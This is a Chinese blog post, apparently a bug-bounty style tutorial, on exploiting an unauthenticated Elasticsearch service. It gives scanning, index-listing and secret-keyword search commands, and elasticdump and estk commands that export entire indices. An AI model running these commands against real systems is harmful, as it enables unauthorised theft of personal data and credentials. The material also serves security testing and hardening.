长亭百川云 - 文章详情

通过Elasticsearch服务发现的信息泄露

迪哥讲事

35

2024-08-08

正文

在进行信息搜集的时候,发现某目标的9200端口是开着的:

一般性流程如下:

1.使用Sublist3r、Amass 等子域名暴力破解工具进行子域名暴力破解

sublist3r -d example.com -o subdomains.txt  
  
  
amass enum -d example.com -o subdomains.txt

~

2.扫描开放端口

nmap -iL subdomains.txt -p 9200 --open -oG nmap_results.txt  
  
-iL subdomains.txt 参数指定输入文件,-p 9200 指定要扫描的端口,--open 仅显示开放的端口,-oG nmap_results.txt 将结果保存到文件。
  1. 识别Elasticsearch服务

检查 nmap_results.txt 中是否有9200端口开放的记录。如果有,通常意味着该端口上运行着Elasticsearch服务。

4.验证Elasticsearch服务

通过浏览器或命令行工具(如 curl)访问发现的9200端口,验证是否为Elasticsearch服务。

这里就访问了 http://test.redacted.com:9200/,返回的信息如下:

{  
  "name" : "4yXXXXX",  
  "cluster_name" : "docker-cluster",  
  "cluster_uuid" : "ulM_pLwNQbWXXXXXXXX",  
  "version" : {  
    "number" : "6.x.x",  
    "build_flavor" : "default",  
    "build_type" : "tar",  
    "build_hash" : "3bd3e59",  
    "build_date" : "2019-03-06T15:16:26.86xxxxxx",  
    "build_snapshot" : false,  
    "lucene_version" : "7.6.x",  
    "minimum_wire_compatibility_version" : "5.6.0",  
    "minimum_index_compatibility_version" : "5.0.0"  
  },  
  "tagline" : "You Know, for Search"  
}

这些信息表明Elasticsearch服务是公开的,并且没有任何访问权限控制。

5.枚举所有索引 使用以下URL枚举了所有可用的索引: http://test.redacted.com:9200/\_cat/indices?v 这一步可以列出所有的数据库索引名称。

这里举个例子:

使用 curl 列出索引

curl -X GET "http://ip:9200/_cat/indices?v"  
  
这个命令将返回一个包含所有索引名称的列表。例如:  
  
health status index               uuid                   pri rep docs.count docs.deleted store.size pri.store.size  
green  open   aim_high            abcdef1234567890       1   1   2211       0            5.9mb      2.9mb  
green  open   .opensearch-observability efghijkl12345678   1   1   0          0            208b       104b  
green  open   .kibana_1           ijklmnop12345678       1   1   1          0            5.3kb      2.6kb

6.搜索敏感信息 使用以下URL执行全索引搜索,以查找可能的敏感信息: http://test.redacted.com:9200/_all/_search?q=email
 这个查询会在所有索引中搜索包含“email”的文档。还有一些其他常用的搜索关键词,例如:username, user, email, password, token, secret, key也可以尝试

  1. 导出数据

如果需要导出数据,可以使用 elasticdump 工具。首先安装 elasticdump:

sudo npm install elasticdump -g

然后使用以下命令导出数据:

elasticdump --input=http://ip:9200/aim_high --output=aim_high.json --type=data

这场还有一种方法就是使用estk这种工具(https://github.com/LeakIX/estk)来提取其中的数据:

在确认目标服务器是否在线并且可以访问以后:

列出Elasticsearch索引: 使用estk工具连接到Elasticsearch实例,并列出所有可用的索引。命令示例如下:

estk --url=https://example.com list

工具会输出所有索引的详细信息,包括索引名称、文档数量和大小等。

提取特定索引的数据: 使用estk工具提取特定索引的数据。命令示例如下:

estk dump --url=https://example.com --index=aim_high

~

工具会以JSON格式输出索引数据,表明该Elasticsearch实例没有任何访问控制。

参考

https://hackerone.com/reports/2231261

https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch

https://infosecwriteups.com/haystack-hackthebox-writeup-7dfd8a6fed5

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2